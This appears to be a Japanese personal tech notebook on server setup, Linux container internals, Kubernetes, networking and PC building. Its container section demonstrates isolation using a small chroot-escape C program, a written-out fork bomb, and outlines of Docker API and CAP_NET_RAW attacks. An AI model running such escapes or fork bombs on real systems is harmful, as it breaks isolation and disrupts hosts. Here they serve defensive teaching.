このノートについて

このノートは、Markdown で書いて、Github を使って管理している。 また、リポジトリの情報が書き変わったら、Github Action で自動コンパイルを行い、Github Pages にデプロイして公開している。 コンパイルには、mdbook というツールを使っている。

ここでは、このノートの環境構築をメモとして残そうと思う。

環境

MacOS: 13.3
cargo: 1.67.0
mdbook: v0.4.28
リポジトリ: https://github.com/Kobayashi123/Note

1. Rust のインストール

私は、Rust が既に動くような環境だったため、このステップは飛ばした。 もし、Rust のセットアップがまだの場合は、公式サイト(rust-lang.org) からインストールできる。

2. mdbook のインストール

mdbook のインストールは、Cargo を使って行う。 Cargo は、Rust のビルドシステム兼パッケージマネージャーであり、上記のように公式サイトから Rust をインストールした場合、既に使えるようになっている。

以下のコマンドを実行して、mdbook をインストールする。 これにより、$ mdbookでコマンドが使えるようになる。

$ cargo install mdbook

3. mdbook の雛形を作成する

mdbook の雛形を作成するには、以下のコマンドを実行する。

$ mdbook init

これで、以下のようなディレクトリ構成になる。

|-- book
|-- src
|   |-- SUMMARY.md
|   |-- chapter_1.md
|-- book.toml

src/ の Markdownファイルを編集し、$ mdbook buildを実行することで、book/ に HTMLファイルが生成される。

4. Github に リポジトリを作成し、Github Pages を有効化する

Github に リポジトリを作成する。 今回は、Note というリポジトリを作成し、$ git pushを実行する。 その後、Github の Settings/Pages の Branch を None から main に変更することで、 Github Pages が有効になる。 同時に、Enforce HTTPS にチェックを入れることで、HTTPS に変更する。 これで、https://Kobayashi123.github.io/Note/ でアクセスできるようになる。

github_pages_setting

5. ドメインを取得し、設定する

Namecheap でドメインを取得し、Github の Settings/Pages の Custom domain にドメインを設定する。
これで、https://kobayashi123.github.io/Note/ だけでなく https://moz-security.me/Note/ でもアクセスできるようになる。

custom_domain_setting

6. Github Action を設定する

Github の Settings/Pages の Source で Github Actions を選択する。 この設定により、Github の main ブランチが変更されるたびに、Github Action によって、$ mdbook build が行われ、Github Pages にデプロイして公開してくれる。 Github Action の workflow は、.github/workflows/mdbook.yml に記述してある。

github_action_setting

サーバー構築

KVM を使ってサーバーを構築する方法を書く。 まずは、OS の isoファイル をダウンロードする。 私は、GUI でも操作できるように、Ubuntu Desktop 22.04.2 LTS を使用する。 Ubuntu の isoファイルは、公式サイト(jp.ubuntu.com)からダウンロードできる。

パッケージの更新

OSのインストールが終わり、起動したら、パッケージを更新する。

sudo apt update # パッケージ一覧を更新
sudo apt upgrade # パッケージを更新
sudo apt autoremove # 不要なパッケージを削除

ipアドレスの設定

Ubuntu Desktopならば、NetworkManager で設定するのがいいため、GUIでの設定か nmcli コマンドで設定する。 Ubuntu Serverならば、netplan で設定するのがいい。

NetworkManager

netplan

netplanでは、 /etc/netplan 配下のyamlファイルに従い、アドレスの設定を行う。 ファイルは辞書順に読み込まれるため、今回は、 /etc/netplan/99-config.yaml という名前で作成する。

sudo cp /etc/netplan/00-installer-config.yaml /etc/netplan/99-config.yaml
cat /etc/netplan/99-config.yaml # 固定IPアドレスを設定する
    network:
      ethernets:
        enp1s0:
          dhcp4: false
          dhcp6: false
          addresses:
            - 192.168.10.12/24
          routes:
            - to: default
              via: 192.168.10.1
          nameservers:
            addresses:
              - 192.168.10.1
      version: 2
sudo netplan apply

ssh 設定

ssh でアクセスできるようにして、遠隔で操作できるようにする。

sudo apt install openssh-server # openssh-serverのインストール
sudo systemctl status ssh # sshの状態を確認

これにより、ユーザー名+ホスト名 もしくは ユーザー名+IPアドレス で ssh による外部からのアクセスができるようになる。

ssh [email protected] # パスワード認証でログインする

ssh での認証を、公開鍵認証に変更する。

ssh-keygen -t ed25519 -f server # 公開鍵の作成
ssh-copy-id -i server.pub [email protected] # 作成した公開鍵を送る
sudo vim /etc/ssh/sshd_config # sshdの設定ファイルを編集
> PermitRootLogin no # 管理者権限でログインできないようにする
> PubkeyAuthentication yes # 公開鍵認証を有効にする
> PasswordAuthentication no # パスワード認証を無効にする

$ sudo systemctl restart sshd # sshデーモンを再起動

ユーザ管理

ユーザ追加

sudo adduser {ユーザ名} # ユーザ作成
sudo gpasswd -a {ユーザ名} sudo # 管理者権限を付与

ユーザ削除

sudo userdel {ユーザ名} # ユーザ削除
sudo userdel -r {ユーザ名} # ユーザ削除、ディレクトリも

パスワード変更

sudo passwd {ユーザ名} # パスワード変更

ユーザ名変更

sudo usermod -l {新しいユーザ名} {旧ユーザ名} # ユーザ名変更

ユーザの所属グループ変更

sudo groupmod -l {グループ名} {ユーザ名} # 所属グループ変更

ホームディレクトリ変更

sudo usermod -d {ホームディレクトリのパス} -m {ユーザ名} # ホームディレクトリ変更
ex: sudo usermod -d /home/{ユーザ名} -m {ユーザ名}

ユーザロック

passwdコマンドを使って、ユーザをロックし、使えなくすることができる。

※ 管理者権限のあるものなら、suコマンドで、ロックされたユーザになることができる。

sudo passwd -l {ユーザ名} # ユーザロック
sudo passwd -u {ユーザ名} # ユーザアンロック

suコマンドの制限

pam_wheel.so を使う。

pam_wheel.so は、su コマンドを利用できるユーザを、wheel グループに所属するユーザに限定する。

sudo vim /etc/pam.d/su
> auth required pam_wheel.so use_uid # コメントアウトを消して、pam_wheel.soを有効にする

sudoコマンドの制限

visudoコマンド または、 /etc/sudoers を編集する。

実行コマンドに応じて、許可を出すこともできる。

sudo vim /etc/sudoers
> {ユーザ名} ALL=(ALL) ALL # {ユーザ名}に sudo コマンドの実行を許可する
> {ユーザ名} ALL=(ALL) /sbin/iptables # このように書けば、iptablesのみ実行を許可する

ログ管理

Linux のシステムログは syslog の設定で /var/log 配下に保存されている。

パケットフィルタリング

Linux に実装されたパケットフィルタリング機能として、iptablesがある。

しかし、これは自由度が高いため、最初は、より設定を簡単化したufwを使うのがいい(実際には、ufwをフロントエンドとして、バックエンドでは、iptablesのコマンドを生成して叩いている)。

sudo ufw status # 状態の確認(active が有効 , inactive が停止) 

sudo ufw enable # ufwの起動
sudo ufw disable # ufwの停止
sudo ufw app list # ufwアプリケーションプロファイルを一覧表示

### プロトコルを記載しない場合 TCP/UDP 両方が設定) ### 
sudo ufw allow 22/tcp # 22番ポートのTCPのみ許可
sudo ufw allow 80 # 80番ポートのTCP・UDPどちらも許可

sudo ufw status numbered # 設定の確認
sudo ufw delete 1 # 設定(1番目のルール)の削除
sudo ufw reload # 設定の反映

コンテナ技術

コンテナ技術とは

VM型仮想化との違い

コンピュータシステムにおけるリソースをコンテナと呼ばれる単位で分割し、仮想化する技術のことを指す。

これにより、OSは同じでも複数の独立したアプリケーション実行環境を作成することができる。

コンテナ型仮想化は専用のゲストOSを持たないため、ホストOSのカーネルを共有するという特徴がある。

したがって、別のOSのマシンを動かすには、VM型仮想化を用いる必要がある。

仮想マシン(VM)コンテナ
起動時間遅い早い
リソース多い少ない
集積密度低い高い
分離レベル高い場合による(コンテナの実装に依存)

VM型仮想化とコンテナ型仮想化の比較

コンテナランタイム

Docker は以下のフローでコンテナを作成する。

  1. Docker client が dockerd の REST API に対して、リクエスト(コマンド)を送信する。
  2. dockerd は containerd といった High-level Runtime に対して、gRPC経由で実行すべきコンテナの情報を伝える。
  3. containerd は runC といったLow-level Runtime に対して、JSON形式で、コンテナの情報を伝える。
  4. Low-level Runtime は、コンテナを実行する。

もし コンテナランタイムがHigh-level Runtime と Low-level Runtime に分かれていなければ、クライアントからのリクエストの受付からコンテナイメージの管理、実行コンテナの管理、コンテナの起動といった全てを行うものになってしまい、好ましくないアーキテクチャになる。

そこで、以下の2つのランタイムに分けている。

1. High-level Runtime (CRI Runtime)

クライアントからのリクエストの受付やコンテナイメージの管理、Low-level Runtime に対するコンテナの実行依頼などを行う。

  • containerd
  • CRI-O

2. Low-level Runtime (OCI Runtime)

OSの機能を利用して、コンテナを実行する責務を担当する。 初期実装は、runC だが、脆弱性がいくつか見つかり、かつ特権コンテナを実行できてしまうなどの問題があったため、runCをベースにした新しい実装が登場した。

  • runC
  • gVisor (Google): gVisorプロセスがゲストカーネルを展開
  • Firecracker (AWS): microVMを採用
  • Kata Containers
  • Nabla Containers (IBM): Unikernelを採用

コンテナランタイムの構成

コンテナの仕組みと要素技術

レイヤ構造

ファイルシステムに対して、変更された差分をレイヤとして扱い、それを一つにまとめたものがコンテナイメージである。 ファイルシステムの変更差分は、tar形式で保存されており、コンテナ作成時に各レイヤを重ね合わせる。

Linuxのコンテナ関連技術

各技術は、Linuxのカーネルに実現されているため、$ man namespaces$ man cgroup などで詳細を確認できる。

  1. Namespaces

    さまざまなリソースを分離する。 Linux 5.6 以降では、Cgroup, IPC, Network, Mount, PID, Time, User, UTS の8つのリソースを分離することができる。

    lsns # Namespaces 一覧を確認
    

    特定のプロセスがどの Namespace に属しているかは、/proc/[PID]/ns で確認できる。

  2. Capabilities

    権限を細分化して、プロセスに付与する。

    例)1024番未満ポートは特権が必要 → CAP_NET_BIND_SERVICE というケーパビリティを付与するだけ

    getpcaps # どのような権限が付与されているか確認
    
  3. Cgroups

    プロセスをグループ化して、そのグループに対してリソースの使用量を制限する。

    管理するリソースの種類をサブシステムと呼び、/sys/fs/cgroup/cgroup.controllers に利用できるサブシステムが記述されている。

  4. Seccomp

    システムコールを制限する。

    Docker では、デフォルトで危険なシステムコールを制限している。[1]

    Mode1: read, write, exit, sigreturn の 4つのみシステムコール制限が可能

    Mode2: (BPFにより)任意のシステムコール制限が可能 (Docker では、Mode2を採用)

  5. LSM(Linux Security Module)

    MAC(Mandatory Access Control:強制アクセス制御)を提供する。

    プロセスに対して、アクセス制御を行う。

    AppArmor(Ubuntu, Debian)SELinux(RedHat, CentOS) などといった実装がある。

    例)/etc/apparmor.d/docker に、Dockerコンテナに対するアクセス制御の設定が記述されており、仮に脆弱性をついてバイパスしてきても、AppAmorによってアクセスは制限される。

Linux機能でコンテナを作成する

以下のステップでコンテナを作成する。

  1. 各種 Namespace を作成する。
  2. ルートディレクトリを変更する。
  3. Cgroups でリソース制限を行う。
  4. AppArmor で強制アクセス制限を行う。

Namespaceの分離

Namespace の分離には、Linux コマンドの clone(2) または unshare(2) を用いる。

Linux Namespace は 以下のコマンドで確認できる。 また、/proc/[PID]/ns で、特定のプロセスがどの Namespace に属しているかを確認できる。

lsns # Namespaces 一覧を確認

Namespace の分離は以下のようにして行う。

unshare -imnpuC --fork /bin/bash
# -i: IPC Namespace の分離
# -m: Mount Namespace の分離
# -n: Network Namespace の分離
# -p: PID Namespace の分離
# -u: UTS Namespace の分離
# -C: Cgroup Namespace の分離

UTS Namespace は、ホスト名やドメイン名を分離する。 ホスト名を変更しても、元のホスト名は変更されないことが確認できる。(>は namespace内、$はホスト側でコマンドの入力)

> hostname # ホスト名を確認

> hostname hoge # ホスト名を変更

> exit # namespace から抜ける

$ hostname # ホスト名を確認

PID Namespace は、プロセスIDを分離する。 しかし、プロセスIDを確認した場合に、ホストのプロセスIDが表示されてしまう。 これは、ホスト側の procfs がマウントされている状態で、コンテナ側からこれが見えてしまうからである。

ps aux # プロセスIDを確認

これは、以下のようにして、procfs を新たにマウントし直せばよい。(>はnamespace内、$はホスト側でコマンドの入力)

> mount -t proc proc /proc # namespace 内で新たに procfs をマウントする
# or
unshare -imnpuC --mount-proc --fork /bin/bash # unshare コマンドでマウントもできる

こうすることで、namespace 内のプロセスIDのみが表示される。

特に、PID 1 が /sbin/init から /bin/bash に変わっていることが確認できる。

ルートディレクトリの変更

ルートディレクトリを変更することで、コンテナ内のファイルシステムを分離する。 ファイルシステムは、何でもいいが、今回は、Alpine Linux のファイルシステムを利用する。 Alpine Linux の "MINI ROOT FILESYSTEM" から、rootfs.tar.gz をダウンロードし、展開する。

mkdir /mnt/alpine-rootfs && cd /mnt/alpine-rootfs
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.4-x86_64.tar.gz
tar xvf alpine-minirootfs-3.18.4-x86_64.tar.gz
rm alpine-minirootfs-3.18.4-x86_64.tar.gz

ルートディレクトリを変更するには、chroot(2) または pivot_root(2) を用いる。 このコマンドを実行すると、子プロセスも対象にして、ルートディレクトリを変更できる。

これを unshare と組み合わせて使う。(>はnamespace内、$はホスト側でコマンドの入力)

$ unshare -imnpuC --fork chroot /mnt/alpine-rootfs /bin/sh

> mount -t proc proc /proc # namespace 内で新たに procfs をマウントする

chroot でもよいが、セキュリティ上の観点から pivot_rootが使用されることが多い。 これは、chroot でルートディレクトリを変更したとしても、プロセスが CAP_SYS_CHROOT ケーパビリティ を持っていれば、元のルートディレクトリにアクセスできてしまうためである。

次のようなプログラムを用意してコンパイルし、chroot の中で実行すると、元のルートディレクトリにアクセスできてしまう。(>はnamespace内、$はホスト側でコマンドの入力`)

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>

void main()
{
 mkdir("test",0);
 chroot("test");
 chroot("../../../../../../../../../../");
 execv("/bin/bash");
}
$ gcc -o jailbreak jailbreak.c
$ mv jailbreak /mnt/alpine-rootfs/bin

> /bin/jailbreak # jailbreak を実行

そこで、ここからは pivot_root を用いて、ルートディレクトリの変更を行う。

export NEW_ROOT=/mnt/alpine-rootfs
mkdir -p $NEW_ROOT/.put_old
unshare -imnpuC --fork sh -c \
    "mount --bind $NEW_ROOT $NEW_ROOT && \
    mount -t proc proc $NEW_ROOT/proc && \
    pivot_root $NEW_ROOT $NEW_ROOT/.put_old && \
    umount -l /.put_old && \
    cd / && \
    exec /bin/sh"

pivot_root で 作成した環境では、jailbreak を実行しても、元のルートディレクトリにアクセスできないことが確認できる。

cgroups でリソース制限

/sys/fs/cgroup 配下にディレクトリを作成し、制限したいサブシステムのファイルに必要な情報を書き込む。 今回は、プロセス数を制限する。ホスト側で実行することに注意する。

mkdir /sys/fs/cgroup/my-container
echo 30 > /sys/fs/cgroup/my-container/pids.max # プロセス数を30に制限
ps auxf # unshareで実行している /bin/sh のプロセスIDを確認
echo [pid_of_unshare_sh] > /sys/fs/cgroup/my-container/cgroup.procs # プロセスIDを指定

fork爆弾を実行して、検証してみる。(>はnamespace内、$はホスト側でコマンドの入力)

> bomb(){ bomb|bomb & };bomb # fork爆弾を実行
    /bin/sh: can not fork: Resource temporarily unavailable # 途中でforkできなくなる

$ cat /sys/fs/cgroup/my-container/pids.current # プロセス数を確認、30で頭打ちになっていることを確認

AppArmor で強制アクセス制御

まず、AppArmor のプロファイル作成を簡単にするためのツールをインストールする。

sudo apt install apparmor-notify apparmor-utils

次に、AppArmor のプロファイルを作成する。 aa-easyprof コマンドを用いて、プロファイルのテンプレートを作成する。 プロファイルは、/etc/apparmor.d/ 配下に作成する。

作成したプロファイルは、apparmor-parserコマンドで有効になるが、この状態で my-container.sh を実行すると、Permission denied となる。 これは、AppArmorでまだどのリソースにもアクセスを許可していないからである。

sudo sh -c "aa-easyprof /home/moz/container/my-container.sh > /etc/apparmor.d/home.moz.container.my-container.sh"

sudo apparmor_parser -r /etc/apparmor.d/home.moz.container.my-container.sh # プロファイルを有効化
sudo ./my-container.sh
    ./my-container.sh: Permission denied # プロファイルによって、実行が制限されている

ここからは、aa-logprofを使って、プロファイルを修正する。(>はnamespace内、$はホスト側でコマンドの入力) しかし、これでもまだ mountの部分で、Permission denied となる。

$ aa-complain my-container.sh # プロファイルを complain モードにする(リソースへのアクセスをブロックしない)
$ ./my-container.sh # 実行して、どのリソースにアクセスしようとしているかを確認する
> / exit # namespace から抜ける

$ aa-logprof # プロファイルを修正する(コンテナ作成に必要な権限を許可する)
$ aa-enforce my-container.sh # プロファイルを enforce モードにする(リソースへのアクセスをブロックする)
$ sudo ./my-container.sh
    unshare: cannot change root filesystem propagation: Permission denied

これは、AppArmor が、/proc に対して、mount を許可していないためである。 ログを確認して、手動でプロファイルを修正する。

cat /var/log/syslog
    ・・・ apparmor="DENIED" operation="mount" info="failed mntpnt match" error=-13 ・・・

cat /etc/apparmor.d/home.moz.container.my-container.sh # 最終的に以下のようになる
    include <tunables/global>

    # vim:syntax=apparmor
    # AppArmor policy for my-container.sh
    # ###AUTHOR###
    # ###COPYRIGHT###
    # ###COMMENT###
    # No template variables specified

    /home/shun/container/my-container.sh {
      include <abstractions/base>
      include <abstractions/consoles>
    
      mount,
      umount,
      pivot_root,

      capability sys_admin,
    
      /usr/bin/dash mrix,
      /usr/bin/unshare mrix,
      /usr/bin/mount mrix,
      /usr/bin/umount mrix,
      /usr/sbin/pivot_root mrix,
      /bin/busybox mrix,

      /home/shun/container/my-container.sh r,
      owner /etc/ld.so.cache r,
    }

これでコンテナは起動するが、コンテナ内で何も実行できない。 そこで、ルートディレクトリ配下は読み取り限定でアクセスでする。きるようにしつつ、セキュリティ的に危険のあるファイルへのアクセスを制限する。 今回は、/proc/kcore へのアクセスを拒否する。(>はnamespace内、$はホスト側でコマンドの入力)

$ cat /etc/apparmor.d/home.moz.container.my-container.sh
    include <tunables/global>

    /home/shun/container/my-container.sh {
      include <abstractions/base>
      include <abstractions/consoles>
    
      mount,
      umount,
      pivot_root,
      file,

      capability sys_admin,
    
      deny /bin/** wl,
      deny /boot/** wl,
      deny /dev/** wl,
      deny /etc/** wl,
      deny /home/** wl,
      deny /lib/** wl,
      deny /lib64/** wl,
      deny /media/** wl,
      deny /mnt/** wl,
      deny /opt/** wl,
      deny /proc/** wl,
      deny /root/** wl,
      deny /sbin/** wl,
      deny /srv/** wl,
      deny /tmp/** wl,
      deny /sys/** wl,
      deny /usr/** wl,
    
      deny @{PROC}/kcore rwklx,
    
      /home/shun/container/my-container.sh r,
      owner /etc/ld.so.cache r,
    }

$ sudo apparmor_parser -r /etc/apparmor.d/home.moz.container.my-container.sh
$ sudo ./my-container.sh
> cat /proc/kcore
    cat: can not open '/proc/kcore': Permission denied

コンテナへの攻撃ルート

アタックサーフェス

攻撃例を挙げる。

  • コンテナランタイムへの攻撃
  • コンテナの設定不備を利用した攻撃

Docker API への攻撃

Dockerでは、デフォルトで、UNIXドメインソケット/var/run/docker.sockを用いて、コンテナランタイムと通信する。 しかし、設定を変更することで、TCPを使い、外部からコンテナの操作もできる。 外部から操作する場合には、何らかの認証をしなければ、悪用される。 TCPによる REST API を使用するケースは少ないため、攻撃の対象となることは少ない。

攻撃ステップ

  1. ポートスキャンをして、Docker APIへの疎通を確認
  2. Docker APIを用いて、悪意あるコンテナを起動

攻撃例

ホストのルートディレクトリをコンテナのボリュームとしてマウントし、ホストのファイル(/etc/passwdとか)を読み取る。

コンテナランタイムの脆弱性を利用した攻撃

runC や Docker などのコンテナランタイム自体にも脆弱性が発見されており、攻撃者はコンテナへ侵入した後、脆弱性を悪用することでホスト側へエスケープするなどのシナリオが考えられる。

過去に見つかった脆弱性

ケーパビリティの設定不備によるエスケープ

コンテナで動かすアプリケーションによっては、ケーパビリティを追加することもあるが、ケーパビリティの種類によっては、エスケープにつながってしまう。 ケーパビリティを付与しても Seccomp などで防ぐことは可能ですが、Docker の --cap-add オプションでケーパビリティを付与した場合は、Seccomp プロファイルも変更され、そのケーパビリティに関連するシステムコールの呼び出しも許可されてしまうため注意が必要である。

CAP_SYSLOG

syslog(2) 操作を可能にするケーパビリティ。 dmesgを実行できるため、機密性のあるログを読み取ったり、カーネルログをクリアできたりする。

docker run --rm -it ubuntu:latest bash
/ dmeseg
    dmesg: read kernel buffer failed: Operation not permitted

docker run --cap-add SYSLOG --rm -it ubuntu:latest bash # SYSLOG ケーパビリティを付与
/ dmesg
    [    0.000000] Linux version 5.15.0-86-generic (buildd@lcy02-amd64-086)

CAP_NET_RAW

CAP_NET_RAW ケーパビリティを付与すると、コンテナのネットワーク上で ARP スプーフィングなどのネットワークを盗聴する攻撃が可能となる。そのため、CAP_NET_RAW ケーパビリティが付与されたコンテナが侵害された場合、他のコンテナの通信を傍受することが可能となる。

cat docker-compose.yml
version: '3.8'
  services:
    app:
      image: hashicorp/http-echo
      command: ["-text", "hello"]
      ports:
      - 5678:5678
    victim:
      image: curlimages/curl:latest
      command: ["sh", "-c", "while true; do curl -s -w '%{http_code}¥n' -o /dev/null]
      http://app:5678; sleep 1; done"]
    attacker:
      image: ubuntu:latest
      command: ["tail", "-f", "/dev/null"]

docker compose up -d

Dockerネットワーク

Dockerコンテナを作成する。

docker run -d --rm -it --name ubuntu1 ubuntu:22.04
docker run -d --rm -it --name ubuntu2 ubuntu:22.04
apt update
apt upgrade
apt install iproute2
apt install iputils-ping
apt install tcpdump
apt install net-tooles

新たにブリッジを作成し、docker0 から変更する。

sudo ip link add name br0 type bridge # br0というブリッジを作成する
sudo ip link set veth3502cac master br0 # br0にvethを接続する
sudo ip link set veth85eb18d master br0 # br0にvethを接続する
sudo ip link show # br0とvethが接続されていることを確認する

疎通確認を行う。

docker exec ubuntu1 ping 172.0.0.3 # ubuntu1からubuntu2にpingを送信

br0 でパケットがドロップされる。

sudo tcpdump -i veth3502cac # ubuntu1側のvethでパケットをキャプチャする
sudo tcpdump -i veth85eb18d # ubuntu2側のvethでパケットをキャプチャする
sudo tcpdump -i br0 # br0でパケットをキャプチャする

これは、Linuxの仮想ブリッジに対して、br_netfilter が有効になっているからである。

2通りの方法で、この問題を解決することができる。

  1. br_netfilter を無効にする
  2. iptables の設定を変更する
sudo sysctl -w net.bridge.bridge-nf-call-iptables=0 # br_netfilter 

Kubernetes

環境構築

ツールのインストール

マスター・ワーカーに関わらず,全てのノードに kubectl, kubeadm, kubelet をインストールする. [1] に従って,インストールを行う.

sudo swapoff -a

sudo apt-get update
sudo apt-get install -y apt-transport-https ca-certificates curl gpg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.29/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.29/deb/ /' | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl

k8sに必要なコンテナランタイムをインストールする. 今回は,containerd を使用する. [2] [3] に従って,インストールを行う.

# Ubuntu
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
# Debian
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install -y containerd.io

コンテナランタイムやカーネルモジュール,カーネルパラメータの設定を行う. [4] に従って,設定の変更を行う.

cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF

sudo sysctl --system

containerd config default > /etc/containerd/config.toml
vim /etc/containerd/config.toml
    [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc]
    ・・・
    [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
      SystemdCgroup = true

マスターノードの設定

マスターノードの設定を行う. [5] に従って,設定を行う.

kubeadm config images pull
sudo kubeadm init --pod-network-cidr=192.168.10.0/24

ワーカーノードの設定

マスターノードの設定を行った際に,出力されたコマンドを入力する.

kubeadm join <control-plane-host>:<control-plane-port> --token <token> --discovery-token-ca-cert-hash sha256:<hash>

ネットワークプラグインの設定

ネットワークプラグインの設定を行う. [6] に従って,設定を行う.

helm repo add cilium https://helm.cilium.io/
helm install cilium cilium/cilium --version 1.14.5 --namespace kube-system

確認

全てのノードとポッドが正常に動作しているか確認する.

kubectl get nodes -A -o wide
kubectl get pods -A -o wide

参考

  1. kubeadm install
  2. containerd install Ubuntu
  3. containerd install Debian
  4. kubernetes Container Runtime
  5. kubeadm init
  6. cilium install

監視

Prometheus

Prometheusは、オープンソースのシステム監視・アラートツールである。

Grafana

Grafanaは、オープンソースのデータ可視化ツールである。

cAdvisor

Container監視にはcAdvisorを使用する。

Nginx

Prometheus と Grafana のダッシュボードをNginxでリバースプロキシする。

これにより、Prometheus と Grafana のポートを開ける必要がなくなり、加えて、HTTPS化も可能になる。

直接インストール

まずは、Prometheus をインストールする。

sudo apt install -y prometheus prometheus-node-exporter
sudo vim /etc/prometheus/prometheus.yml

参考

高速通信技術

OS と NIC の特性

同じ帯域幅であれば、パケットサイズが小さいほど、大量のパケットを送ることができる。ただし、パケットが増えるほど、処理するヘッダも増加し、LinuxカーネルのTCP/IP処理のオーバーヘッドが増加する。[1]

でも、データのサイズが比較的小さい場合が多いのが現実である。結果として、TCP/IPスタックがボトルネックとなり、スループットが低下する。

また、カーネルのTCP/IPスタックを利用するには、システムコールの呼び出しが必要である。READ(2)WRITE(2)がこれにあたるが、システムコールを頻繁に呼び出すとこれもオーバーヘッドになる。

システムコールを減らす

ユーザ・カーネル空間の間に共有メモリを用意し、カーネル内で専用のカーネルスレッドがこれを読み取って、カーネル機能を実行する。これにより、syscall(2)によるコンテキスト切り替えをなくすことができる。

100pまで

参考

ネットワーク

Segment Routing

Segment Routing とは,ソースルーティングと呼ばれる,パケットの転送経路を送信元で指定する技術である.

SR を実現する方法として,SR-MPLS と SRv6 に分類される.

SRv6

RFC

DNS

DNSコンテンツサーバ

権威サーバとも呼ばれ、自身の管理するドメインに関する情報を提供する。

DNSキャッシュサーバ

リゾルバとも呼ばれ、DNSコンテンツサーバから情報を取得し、キャッシュする。

unbound

DNSキャッシュサーバではあるが、簡易的なコンテンツサーバとしても利用できるため、LAN(自宅ネットワーク)内のホストの名前解決にも利用できる。

sudo apt update
sudo apt install -y unbound
sudo systemctl status unbound

自作PC

パーツ選び

予算が決まったら、自作PCでググって、各パーツを決めていく。 私の場合、ゲームが目的ではなかったため、グラフィックボードがいらなかった。 そこで、CPUにグラフィック機能が搭載されている必要があった。 また、VMを複数台立てたかったため、メモリは必要になる。そこで、16Gのメモリを2つ買ったし、マザーボードもこれから拡張していくことを見越して、4スロットのものにした。

自作PCの価格帯とパーツの書かれたサイトはいくつもある。基本的には、それに従う形にしておき、こだわりがあったり、ゲーミングPC以外の用途であったりする場合には、それに応じて、パーツを変更すればいい。

以下は、私のPCが購入したものである。

各パーツの画像

組み立て

ググったら、いくつもサイトが出てくるが、マザーボードとPCケースの取扱説明書だけあれば、十分に組み立てることは出来る。

組み立ては、以下の順に行なった。

  1. マザーボードを袋から取り出す。
  2. CPUをマザーボードに取り付ける。CPUクーラーも設置する。CPUクーラーのグリスには触れないように注意する。
  3. メモリをマザーボードに取り付ける。
  4. SSDをマザーボードに取り付ける。
  5. PCケースにバッテリーを入れる。
  6. マザーボードをPCケースに固定する。
  7. PCケースから出ているUSBやSATAケーブルをマザーボードに繋ぐ。
  8. バッテリーから出ている電力供給ケーブルをマザーボードに繋ぐ。
  9. 電源を入れる。

**ネジの大きさ(インチネジとミリネジ)配線ミス(プラスとマイナスの向き)**には十分に気をつける必要がある。

ここまで行うと、BIOS画面が立ち上がる。

BIOS画面では、各部品がきちんと認識されているか確認する。

BIOS画面

ブータブルUSBを別のPCなどで作成する。OSは好きなものを使えばいいが、今回は、Ubuntu Desktopを使用した。

作成したブータブルUSBを自作PCに挿した状態で、起動し、BIOS画面に行くと、USBが認識されていることが確認できる。

BOOTの優先順位が指定できるため、ブータブルUSBを1番目にして、再起動する。

すると、Ubuntuのインストールが始まる。

インストールまで終了

Ubuntu の セットアップ

KVMを使えるようにする。

https://ubuntu.com/download/kvm

シェル自作

ルーター自作

データリンク層

Webブラウザ自作

公式ドキュメント

Webブラウザの機能

大きく3つに分けることができる

  1. Web ページを表示するための機能
  2. Web ページの動的性のための機能
  3. Web ブラウジングのための機能

Webページを表示する

HTMLファイルを取得した場合、以下のような処理を行う。

  1. HTML・CSS を処理して以下の2つを構成する。

    • Document Object Model(DOM)
    • CSS Object Model(CSSOM)

    これらは、HTML 文字列と CSS 文字列に対して字句解析と構文解析を施すことにより構成される。

  2. DOM と CSSOM から**レンダリングツリー(Rendering Tree)**を生成する。

    レンダリングツリーとは、ブラウザ内部での中間表現である。

  3. レンダリングツリーを**レイアウト(Layout)**する。

    レンダリングツリー内の要素の画面内での位置はこのレイアウトにより決定される。

  4. レイアウト結果を画面に**ペイント(Paint)**する。

    実際に描画する。

Web ページの動的に処理する

Web ブラウザによる JavaScript の実行のために、ブラウザは専用の実行エンジンを使う。例として、Chromium は V8 、Firefox は SpiderMonkey という JavaScript 実行エンジンを利用している。

JavaScript は Web ページ の情報と連動して実行される必要があり、JavaScript から DOM にアクセスできるなどの形で、Web ページには動的性がもたらされる。

このJavaScript エンジンと Web ブラウザの連携のために、Web ブラウザは DOM API や Fetch API といった JavaScript エンジン に対していくつかのインターフェイスを提供している。

また、このようなインターフェイスの定義は Web IDL と呼ばれる言語で記述される。JavaScript と Web ブラウザを繋げるコードは **バインディング(Binding)**などと呼ばれ、その一部は、Web IDL をもとに生成されている。

HTMLのパース処理

  1. バイト列をトークナイザ(tokernizer)の入力に変換する ← 符号化されているバイト列をHTML文字列にデコードする
  2. Tokenization stage(字句解析のイメージ): 1の出力をトークナイザでトークン列に変換する
  3. Tree construction stage(構文解析のイメージ): 2の出力から DOM ツリーを構築する

Servoでは、html5ever クレートを開発している

HTMLパース処理の難しさ

多少マークアップが雑でも Web ページの利用に支障が出ないように、HTML が非常にゆるい文法を採用している。

たとえ、タグが省略されていたとしても、再入処理を行うことで、HTMLが正しく解釈されるようにしなければならない。

OS

起動するまで

